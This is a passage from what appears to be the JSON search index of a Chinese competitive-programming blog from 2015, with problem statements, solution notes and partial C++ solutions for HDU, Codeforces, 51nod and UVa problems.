数组中和等于k的数对（单调性优化）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/zoj3623b-battleships/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3623  B - Battle Ships (完全背包？泛化背包？)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-19","externalUrl":null,"permalink":"/2015/10/zoj3622magicnumber/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3622   Magic Number （构造？）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-18","externalUrl":null,"permalink":"/2015/10/zoj3903ant/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"zoj 3903 Ant(推公式，逆元）","type":"post"},{"categories":["ACM"],"content":"Catch him # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 664 Accepted Submission(s): 307 ** Problem Description 在美式足球中，四分卫负责指挥整只球队的进攻战术和跑位，以及给接球员传球的任务。四分卫是一只球队进攻组最重要的球员，而且一般身体都相对比较弱小，所以通常球队会安排5-7名大汉来保护他，其中站在四分卫前方、排成一线的5名球员称为进攻锋线，他们通常都是135公斤左右的壮汉。 对防守方来说，攻击对手的四分卫当然是最直接的限制对手进攻的方法。如果效果好，就可以在对方四分卫传球之前将其按翻在地，称之为擒杀。擒杀是最好的鼓舞防守队士气的方法，因为对方连传球的机会都没有，进攻就结束了，还必须倒退一些距离开球。凶狠的擒杀甚至能够将对方的四分卫弄伤，从而迫使对方更换这个进攻核心。 在本题中，输入给出准备擒杀四分卫的防守球员的位置、对方每个进攻锋线球员的位置以及对方四分卫的位置，你的任务是求出这名准备擒杀的防守球员至少要移动多少步，才能够擒杀对方四分卫。 假设对方进攻锋线和四分卫在这个过程中都不会移动。只有1名防守球员，防守球员只要碰到对方四分卫就算擒杀。 所有的球员都是一块连续的、不中空的2维区域。防守球员不可以从进攻锋线的身体上穿过，也不可以从界外穿过(只能走空地)。 防守队员不可以转动身体，只能平移。防守队员的身体所有部分向同一个方向(上、下、左、右)移动1格的过程叫做1步。 Input 输入包含多组数据。每组数据第一行都是两个整数H，W(0输入保证符合上面的条件。防守球员的身体总共不超过20格。 Output 对每组数据，输出包含擒杀所需最少步数的一行。如果不能擒杀，输出带’Impossible’的一行。 Sample Input 6 6 .Q…. QQ..OO .OO..O …O.O OO.O.. ….DD 7 7 .Q….. QQ.OOO. …O… O…… OO..OO. .O….. …..DD 0 0 Sample Output Impossible 9 这题最开始昨天晚上看到直接懵了．．． 人的身体有多部分＝＝　还不规则．．怎么搞．．． 然后昨天睡觉的时候灵光一现（大雾 今天起来搞搞搞… 竟然1A．．．．爽坏了 其实很简单． 就是只考虑一个点． 其他点存与最初这个点的相对位移． 然后只做这第一个点的bfs 只不过判断条件的时候要判断所有点的 以及是否摸（？）到四分卫的时候也要判断多个点的就好了． 1/************************************************************************* 2\u003e File Name: code/hdu/2531.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月11日 星期日 23时14分43秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const ","date":"2015-10-12","externalUrl":null,"permalink":"/2015/10/hdu2531catchhimbfs/","section":"Posts","summary":"Catch him # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 664 Accepted Submission(s): 307 **","tags":["算法竞赛"],"title":"hdu 2531 Catch him (bfs)","type":"post"},{"categories":["ACM"],"content":"A. Olesya and Rodion time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Olesya loves numbers consisting of n digits, and Rodion only likes numbers that are divisible by t. Find some number that satisfies both of them. Your task is: given the n and t print an integer strictly larger than zero consisting of n digits that is divisible by t. If such number doesn’t exist, print - 1. Input The single line contains two numbers, n and t (1 ≤ n ≤ 100, 2 ≤ t ≤ 10) – the length of the number and the number it should be divisible by. Output Print one such positive number without leading zeroes, – the answer to the problem, or - 1, if such number doesn’t exist. If there are multiple possible answers, you are allowed to print any of them. Sample test(s) input 3 2 output 712 构造题． 让构造任意一个n位数满足整除t 由于t是个位数＝＝　所以很水． －１的话只有n为１t为１０的情况． 具体见代码．．．写得有点丑QAQ 1/************************************************************************* 2\u003e File Name: code/cf/#324/A.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月11日 星期日 23时32分46秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31int n,t; 32int main() 33{ 34#ifndef ONLINE_JUDGE 35// freopen(\"in.txt\",\"r\",stdin); 36#endif 37cin\u003e\u003en\u003e\u003et; 38if (n==1\u0026\u0026t;==10) 39{ 40","date":"2015-10-11","externalUrl":null,"permalink":"/2015/10/codeforces324div2a-olesyaandrodion/","section":"Posts","summary":"A. Olesya and Rodion time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Olesya loves numbers consisting of n digits, and Rodion only likes numbers that are divisible by t. Find some number that satisfies both of them.","tags":["算法竞赛"],"title":"codeforces #324 div 2 A. Olesya and Rodion","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-05","externalUrl":null,"permalink":"/2015/10/51nod_learn_greedy_/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"51nod_learn_greedy_独木舟问题","type":"post"},{"categories":["ACM"],"content":"有若干个活动，第i个开始时间和结束时间是[Si,fi)，同一个教室安排的活动之间不能交叠，求要安排所有活动，最少需要几个教室？ 1第一行一个正整数n (n \u003c= 10000)代表活动的个数。 2第二行到第(n + 1)行包含n个开始时间和结束时间。 3开始时间严格小于结束时间，并且时间都是非负整数，小于1000000000 输出 一行包含一个整数表示最少教室的个数。 输入示例 3 1 2 3 4 2 9 输出示例 2 其实就是求某个时间点的最大厚度… 一开始傻逼了… 想着什么从１开始推过去…必然tle．．就没写＝＝ 然后今天再开…我只要把开始时间和结束时间放在一起排序…从小到大 然后用一个boolean做好标记就好… 有点像海洋兄的收费站的比喻？ 1/************************************************************************* 2\u003e File Name: code/51nod/learn/greedy/2.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月05日 星期一 19时24分32秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E4+5; 32int n; 33struct Q 34{ 35int t; 36bool sta; 37}q[2*N]; 38 39bool cmp(Q a,Q b) 40{ 41return a.t\u003cb.t; 42} 43int main() 44{ 45#ifndef ONLINE_JUDGE 46freopen(\"in.txt\",\"r\",stdin); 47#endif 48 49scanf(\"%d\",\u0026n); 50for ( int i = 0 ; i \u003c 2*n ; i++) 51{ 52scanf(\"%d\",\u0026q[i].t); 53if (i%2==0) 54{ 55q[i].sta = true; 56} 57else 58{ 59q[i].sta = false; 60} 61} 62sort(q,q+2*n,cmp); 63int ans = -1; 64int cnt = 0; 65for ( int i = 0 ; i \u003c 2*n ; i++) 66{ 67if (q[i].sta) 68{ 69cnt++; 70} 71else 72{ 73cnt--; 74} 75ans = max(ans,cnt); 76} 77printf(\"%dn\",ans); 78 79 80#ifndef ONLINE_JUDGE 81fclose(stdin); 82#endif 83return 0; 84}","date":"2015-10-05","externalUrl":null,"permalink":"/2015/10/51nod_learn_greedy_2/","section":"Posts","summary":"有若干个活动，第i个开始时间和结束时间是[Si,fi)，同一个教室安排的活动之间不能交叠，求要安排所有活动，最少需要几个教室？","tags":["算法竞赛"],"title":"51nod_learn_greedy_活动安排2","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-05","externalUrl":null,"permalink":"/2015/10/hdu1240asteroidsbfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 1240  Asteroids! (bfs)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-04","externalUrl":null,"permalink":"/2015/10/hdu1072nightmarebfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 1072 Nightmare(bfs)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-04","externalUrl":null,"permalink":"/2015/10/codeforces323div2b-robotstask/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces #323 div 2 B. Robot's Task(又是暴力？","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-04","externalUrl":null,"permalink":"/2015/10/codeforces323div2a-asphaltingroads/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces #323 div 2 A. Asphalting Roads(暴力","type":"post"},{"categories":["ACM"],"content":"C. GCD Table time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output The GCD table G of size n × n for an array of positive integers a of length n is defined by formula Let us remind you that the greatest common divisor (GCD) of two positive integers x and y is the greatest integer that is divisor of both x and y, it is denoted as . For example, for array a = {4, 3, 6, 2} of length 4 the GCD table will look as follows: Given all the numbers of the GCD table G, restore array a. Input The first line contains number n (1 ≤ n ≤ 500) – the length of array a. The second line contains _n_2 space-separated numbers – the elements of the GCD table of G for array a. All the numbers in the table are positive integers, not exceeding 109. Note that the elements are given in an arbitrary order. It is guaranteed that the set of the input data corresponds to some array a. Output In the single line print n positive integers – the elements of array a. If there are multiple possible solutions, you are allowed to print any of them. Sample test(s) input 4 2 1 2 3 4 3 2 6 1 1 2 2 1 2 3 2 output 4 3 6 2 input 1 42 output 42 input 2 1 1 1 1 output 1 1 被hack了．．sad． 首先可以发现一些结论 １：对角线上的数就是原序列 ２：table关于对角线对称 ３：出现奇数次数一定是原序列中的数（这个结论并没有用到，不过这是首先能想到的，用到用不到再说） ４：gcd(a,b)\u003c=min(a,b)； 然后我之前的做法是用一个map统计出现的次数 然后遍历map，先把出现奇数的挑出来.算作一个答案．并把次数-1 这样所有的都是出现１ 1/************************************************************************* 2\u003e File Name: code/#323/CC.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年10月04日 星期日 14时51分08秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#","date":"2015-10-04","externalUrl":null,"permalink":"/2015/10/codeforces323div2c-gcdtable/","section":"Posts","summary":"C. GCD Table time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output The GCD table G of size n × n for an array of positive integers a of length n is defined by formula","tags":["算法竞赛"],"title":"codeforces #323 div 2 C. GCD Table (暴力？)","type":"post"},{"categories":["ACM"],"content":"sigh","date":"2015-10-03","externalUrl":null,"permalink":"/2015/10/poj/","section":"Posts","summary":"sigh","tags":["算法竞赛"],"title":"有一种板刷poj的冲动","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-03","externalUrl":null,"permalink":"/2015/10/hdu1242rescuebfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 1242 Rescue(bfs+优先队列)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-02","externalUrl":null,"permalink":"/2015/10/hdu1195openthelockbfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 1195 Open the Lock(bfs)","type":"post"},{"categories":["ACM"],"content":"也许今年不该参赛的…. 因为暑假才刚刚调整好心态… 上学期基本废掉了… 感觉就是虚得不行，什么都不会的感觉…. ．．． 倒是每天做题都能把自己搞得excited 大概越是弱的人越容易exicted吧．","date":"2015-10-02","externalUrl":null,"permalink":"/2015/10/%e5%a5%bd%e8%99%9a%e5%95%8a/","section":"Posts","summary":"也许今年不该参赛的…. 因为暑假才刚刚调整好心态…","tags":["算法竞赛"],"title":"好虚啊.","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-02","externalUrl":null,"permalink":"/2015/10/hdu2102abfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 2102 A计划( bfs)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-01","externalUrl":null,"permalink":"/2015/10/poj1067hdu1527wythoffgame/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 1067||hdu 1527 取石子游戏（博弈论，Wythoff Game）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-10-01","externalUrl":null,"permalink":"/2015/10/codeforces306div2a-twosubstrings/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"codeforces #306 div 2 A - Two Substrings(随便搞)","type":"post"},{"categories":["ACM"],"content":"D. Three Logos time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Three companies decided to order a billboard with pictures of their logos. A billboard is a big square board. A logo of each company is a rectangle of a non-zero area. Advertisers will put up the ad only if it is possible to place all three logos on the billboard so that they do not overlap and the billboard has no empty space left. When you put a logo on the billboard, you should rotate it so that the sides were parallel to the sides of the billboard. Your task is to determine if it is possible to put the logos of all the three companies on some square billboard without breaking any of the described rules. Input The first line of the input contains six positive integers _x_1, _y_1, _x_2, _y_2, _x_3, _y_3 (1 ≤ _x_1, _y_1, _x_2, _y_2, _x_3, _y_3 ≤ 100), where x__i and y__i determine the length and width of the logo of the i-th company respectively. Output If it is impossible to place all the three logos on a square shield, print a single integer “-1” (without the quotes). If it is possible, print in the first line the length of a side of square n, where you can place all the three logos. Each of the next n lines should contain n uppercase English letters “A”, “B” or “C”. The sets of the same letters should form solid rectangles, provided that: the sizes of the rectangle composed from letters “A” should be equal to the sizes of the logo of the first company, the sizes of the rectangle composed from letters “B” should be equal to the sizes of the logo of the second company, the sizes of the rectangle composed from letters “C” should be equal to the sizes of the logo of the third company, Note that the logos of the companies can be rotated for printing","date":"2015-09-30","externalUrl":null,"permalink":"/2015/09/codeforces322div2d-threelogos/","section":"Posts","summary":"D. Three Logos time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Three companies decided to order a billboard with pictures of their logos. A billboard is a big square board. A logo of each company is a rectangle of a non-zero area.","tags":["brute force"],"title":"codeforces #322 div 2　D. Three Logos (枚举)","type":"post"},{"categories":["ACM"],"content":"Desiderium # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 427 Accepted Submission(s): 167 ** Problem Description There is a set of intervals, the size of this set is n. If we select a subset of this set with equal probability, how many the expected length of intervals’ union of this subset is? We assume that the length of empty set’s union is 0, and we want the answer multiply 2n modulo 109+7. Input The first line of the input is a integer T, meaning that there are T test cases. Every test cases begin with a integer n ,which is size of set. Then n lines follow, each contain two integers l,r describing a interval of [l,r]. 1≤n≤100,000. −1,000,000,000≤l≤r≤1,000,000,000. Output For every test case output the answer multiply 2n modulo 109+7. Sample Input 2 1 0 1 2 0 2 1 3 Sample Output 1 7 Hint For the second sample, the excepted length is $frac{0+2+2+3}{4}=frac{7}{4}$. 比赛的时候并没有做出来…sad．． 因为b题调了太久…这题基本就没时间了．．．果然还是太弱了QAQ 然后发现有时间也做不出… 题意真是好难懂．．． 转载一段题解： 一个含有n个区间的集合，从该集合中等概率地选取子集，求所有子集中的所有区间的构成的并集长度的和。 第二个样例解释： 集合中含有2个区间：一个是[0,2],编号为1，一个是[1,3]，编号为2。 集合的子集有4个： 1、空集，集合中区间的并的长度为0 2、{区间1}，集合中区间的并的长度为2 3、{区间2}，集合中区间的并的长度为2 4、{区间1、区间2}，集合中区间的并为[0,3]，长度为3 考虑某一个区间对于答案的贡献： 若某个区间没有被其它区间覆盖，则该区间在子集中出现的总次数为：2^(n-1)次（总子集数-去掉该区间的子集总数) 若某个区间被覆盖了1次，即有2个区间重叠，那么该区间在子集中出现总次数为：2^(n-1)+2^(n-2)次（第1个区间在子集中出现的次数+第2个区间在子集中出现且第1个区间不出现的总次数） ………… 可以得到 若该区间被覆盖了k(k\u003e=0)次，即有k+1个区间重叠，得到该区间在所有子集中出现的总次数：2^(n-1)+2^(n-2)+……+2^(n-k-1) 如何统计每一个区间的重叠次数？ 对于输入的每一个区间的两个端点，给一个权值，左端点为1，右端点为-1。然后把所有端点按照位置从小到大排序。从左往右扫一遍，累加端点的权值，得到的当前的权值和就是当前所在区间的重叠次数。 累加每个区间的重叠次数*区间长度，即为所求。 1/************************************************************************* 2 \u003e File Name: code/bc/#57/C.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月30日 星期三 11时08分35","date":"2015-09-30","externalUrl":null,"permalink":"/2015/09/hdu5481bestcoder57div2cdesiderium/","section":"Posts","summary":"Desiderium # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 427 Accepted Submission(s): 167 **","tags":["概率"],"title":"hdu 5481||bestcoder #57 div 2 C Desiderium (概率)","type":"post"},{"categories":["ACM"],"content":"time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Petya loves computer games. Finally a game that he’s been waiting for so long came out! The main character of this game has n different skills, each of which is characterized by an integer a__i from 0 to 100. The higher the number_a__i_ is, the higher is the i-th skill of the character. The total rating of the character is calculated as the sum of the values of for all i from 1 to n. The expression ⌊ x⌋ denotes the result of rounding the number x down to the nearest integer. At the beginning of the game Petya got k improvement units as a bonus that he can use to increase the skills of his character and his total rating. One improvement unit can increase any skill of Petya’s character by exactly one. For example, if _a_4 = 46, after using one imporvement unit to this skill, it becomes equal to 47. A hero’s skill cannot rise higher more than 100. Thus, it is permissible that some of the units will remain unused. Your task is to determine the optimal way of using the improvement units so as to maximize the overall rating of the character. It is not necessary to use all the improvement units. Input The first line of the input contains two positive integers n and k (1 ≤ n ≤ 105, 0 ≤ k ≤ 107) – the number of skills of the character and the number of units of improvements at Petya’s disposal. The second line of the input contains a sequence of n integers a__i (0 ≤ a__i ≤ 100), where a__i characterizes the level of the i-th skill of the character. Output The first line of the output should contain a single non-negative integer – the maximum total rating of the character that Petya can get using k or less improvement units. Sample test(s) input 2 4 7 9 output 2 input 3 8 ","date":"2015-09-30","externalUrl":null,"permalink":"/2015/09/codeforces322div2c-developingskills/","section":"Posts","summary":"time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Petya loves computer games. Finally a game that he’s been waiting for so long came out!","tags":["乱搞"],"title":"codeforces #322 div 2 C. Developing Skills(乱搞)","type":"post"},{"categories":["ACM"],"content":"B. Luxurious Houses time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output The capital of Berland has n multifloor buildings. The architect who built up the capital was very creative, so all the houses were built in one row. Let’s enumerate all the houses from left to right, starting with one. A house is considered to be luxurious if the number of floors in it is strictly greater than in all the houses with larger numbers. In other words, a house is luxurious if the number of floors in it is strictly greater than in all the houses, which are located to the right from it. In this task it is assumed that the heights of floors in the houses are the same. The new architect is interested in n questions, i-th of them is about the following: “how many floors should be added to the i-th house to make it luxurious?” (for all i from 1 to n, inclusive). You need to help him cope with this task. Note that all these questions are independent from each other – the answer to the question for house i does not affect other answers (i.e., the floors to the houses are not actually added). Input The first line of the input contains a single number n (1 ≤ n ≤ 105) – the number of houses in the capital of Berland. The second line contains n space-separated positive integers h__i (1 ≤ h__i ≤ 109), where h__i equals the number of floors in the i-th house. Output Print n integers _a_1, _a_2, …, a__n, where number a__i is the number of floors that need to be added to the house number i to make it luxurious. If the house is already luxurious and nothing needs to be added to it, then a__i should be equal to zero. All houses are numbered from left to right, starting from one. Sample test(s) input 5 1 2 3 1 2 output 3 2 0 2 0 input 4 3 2 1 4 outp","date":"2015-09-28","externalUrl":null,"permalink":"/2015/09/codeforces322div2b-luxurioushouses/","section":"Posts","summary":"B. Luxurious Houses time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output The capital of Berland has n multifloor buildings. The architect who built up the capital was very creative, so all the houses were built in one row.","tags":["算法竞赛"],"title":"codeforces #322 div 2 B. Luxurious Houses (思路)","type":"post"},{"categories":["ACM"],"content":"A. Vasya the Hipster time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output One day Vasya the Hipster decided to count how many socks he had. It turned out that he had a red socks and b blue socks. According to the latest fashion, hipsters should wear the socks of different colors: a red one on the left foot, a blue one on the right foot. Every day Vasya puts on new socks in the morning and throws them away before going to bed as he doesn’t want to wash them. Vasya wonders, what is the maximum number of days when he can dress fashionable and wear different socks, and after that, for how many days he can then wear the same socks until he either runs out of socks or cannot make a single pair from the socks he’s got. Can you help him? Input The single line of the input contains two positive integers a and b (1 ≤ a, b ≤ 100) — the number of red and blue socks that Vasya’s got. Output Print two space-separated integers — the maximum number of days when Vasya can wear different socks and the number of days when he can wear the same socks until he either runs out of socks or cannot make a single pair from the socks he’s got. Keep in mind that at the end of the day Vasya throws away the socks that he’s been wearing on that day. Sample test(s) input 3 1 output 1 1 input 2 3 output 2 0 input 7 3 output 3 2 Note In the first sample Vasya can first put on one pair of different socks, after that he has two red socks left to wear on the second day. 实在没有可以解释的… 1/************************************************************************* 2 \u003e File Name: code/cf/#322/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月29日 星期二 00时14分24秒 6 ************************************************************************/ ","date":"2015-09-28","externalUrl":null,"permalink":"/2015/09/codeforces322div2a-vasyathehipster/","section":"Posts","summary":"A. Vasya the Hipster time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output One day Vasya the Hipster decided to count how many socks he had. It turned out that he had a red socks and b blue socks.","tags":["水"],"title":"codeforces #322 div 2 A. Vasya the Hipster(纱布题)","type":"post"},{"categories":["ACM"],"content":"As I work with students I often face the situation when if a problem doesn’t seem clear to a student at the first sight, it makes them unable to solve it. Indeed, you always hear about specific methods and techniques. But you don’t hear about how to think in order to apply them. In this note I’ll try to sum up my experience of solving programming contest problems. However, some pieces of advice will also be applicable for olympiads in mathematics and your first steps in academic research. So you’ve read a problem and you don’t know how to solve it. Try the following techniques, some of them can often come handy. Technique 1: “Total Recall” # Try to remember some similar problems that you had to solve. Quite many problems do not have a brand new idea. So probably, you can use your experience of solving a similar problem to solve this one. Technique 2: “From Specific to General” # Let’s say that you’ve found the solution for the problem (hurray!). Let’s consider some particular case of a problem. Of course, you can apply the algorithm/solution to it. That’s why, in order to solve a general problem, you need to solve all of its specific cases. Try solving some (or multiple) specific cases and then try and generalize them to the solution of the main problem. Such specific cases can be regarded as the simplifications of the problem, i.e. we can reason by the following principle: “if I don’t know how to solve a complex problem, I think I’ll simplify it and find the solutions of the simplified version”. The popular examples of simplifications (specific cases): you get a problem for a tree. Consider its variant where the tree degenerates into a path; the problem has weights? Consider a variant where all the weights are equal either to one or to an arbitrary number, or there are","date":"2015-09-28","externalUrl":null,"permalink":"/2015/09/codeforceshowtocomeupwiththesolutionstechniques/","section":"Posts","summary":"As I work with students I often face the situation when if a problem doesn’t seem clear to a student at the first sight, it makes them unable to solve it. Indeed, you always hear about specific methods and techniques. But you don’t hear about how to think in order to apply them. In this note I’ll try to sum up my experience of solving programming contest problems. However, some pieces of advice will also be applicable for olympiads in mathematics and your first steps in academic research.","tags":["算法竞赛"],"title":"[转自codeforces] How to come up with the solutions: techniques","type":"post"},{"categories":["ACM"],"content":"In ``Hangman Judge,’’ you are to write a program that judges a series of Hangman games. For each game, the answer to the puzzle is given as well as the guesses. Rules are the same as the classic game of hangman, and are given as follows: 1. The contestant tries to solve to puzzle by guessing one letter at a time. 2. Every time a guess is correct, all the characters in the word that match the guess will be ``turned over.'' For example, if your guess is ``o'' and the word is ``book'', then both ``o''s in the solution will be counted as ``solved.'' 3. Every time a wrong guess is made, a stroke will be added to the drawing of a hangman, which needs 7 strokes to complete. Each unique wrong guess only counts against the contestant once. ______ | | | O | /| | | | / __|_ | |______ |_________| 4. If the drawing of the hangman is completed before the contestant has successfully guessed all the characters of the word, the contestant loses. 5. If the contestant has guessed all the characters of the word before the drawing is complete, the contestant wins the game. 6. If the contestant does not guess enough letters to either win or lose, the contestant chickens out. Your task as the ``Hangman Judge’’ is to determine, for each game, whether the contestant wins, loses, or fails to finish a game. Input # Your program will be given a series of inputs regarding the status of a game. All input will be in lower case. The first line of each section will contain a number to indicate which round of the game is being played; the next line will be the solution to the puzzle; the last line is a sequence of the guesses made by the contestant. A round number of -1 would indicate the end of all games (and input). Output # The output of your program is to indicate which round of the game the contest","date":"2015-09-28","externalUrl":null,"permalink":"/2015/09/uva489/","section":"Posts","summary":"In ``Hangman Judge,’’ you are to write a program that judges a series of Hangman games. For each game, the answer to the puzzle is given as well as the guesses. Rules are the same as the classic game of hangman, and are given as follows:","tags":["水"],"title":"uva 489","type":"post"},{"categories":["ACM"],"content":"模拟． 直接搞… 并不明白坑在哪里．．． 排在我前面被hack了１００多人… 1/************************************************************************* 2 \u003e File Name: code/bc/#57/1001.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月26日 星期六 19时04分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E3+7; 32char str[N]; 33int len; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"in.txt\",\"r\",stdin); 38 #endif 39 int T; 40 cin\u003e\u003eT; 41 while (T--) 42 { 43 scanf(\"%s\",str); 44 len = strlen(str); 45 int cnt = 0; 46 int ans = 0 ; 47 for ( int i = 0 ; i \u003c len ; i++) 48 { 49 if (str[i]=='(') 50 { 51 cnt++; 52 } 53 else 54 { 55 cnt--; 56 if (cnt\u003e=0) 57 { 58 ans++; 59 } 60 if (cnt\u003c0) 61 cnt = 0 ; 62 } 63 } 64 printf(\"%d\\n\",ans); 65 } 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2015-09-26","externalUrl":null,"permalink":"/2015/09/hdoj5479/","section":"Posts","summary":"模拟． 直接搞… 并不明白坑在哪里．．． 排在我前面被hack了１００多人…","tags":["模拟"],"title":"hdoj 5479 || bestcoder #57 div 2 A Scaena Felix(模拟)","type":"post"},{"categories":["ACM"],"content":"比较水． 唯一一点需要注意的是… 可能有重复元素… 因为我的思路是用两棵一维树状数组搞.. 每个点标记为1 然后看矩形的两个方向中是否至少有一个方向上和等于长度… 所以这样如果有重复元素的话，不处理会出错..　但实际上又没修改..直接前缀和就好了．．． 树状数组个毛线．．． 不过看到还有人线段树搞得233333 1/************************************************************************* 2 \u003e File Name: code/bc/#57/1002.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月26日 星期六 19时31分10秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int c[N],d[N]; 33int n,m,K,Q; 34bool vx[N],vy[N]; 35 36int lowbit(int x) 37{ 38 return x\u0026(-x); 39} 40 41void update ( int x,int delta) 42{ 43 for ( int i = x ; i \u003c= n ; i = i + lowbit(i)) 44 { 45 c[i] = c[i] + delta; 46 } 47} 48 49LL sum ( int x) 50{ 51 LL res = 0 ; 52 for ( int i = x ; i \u003e= 1 ; i = i - lowbit(i)) 53 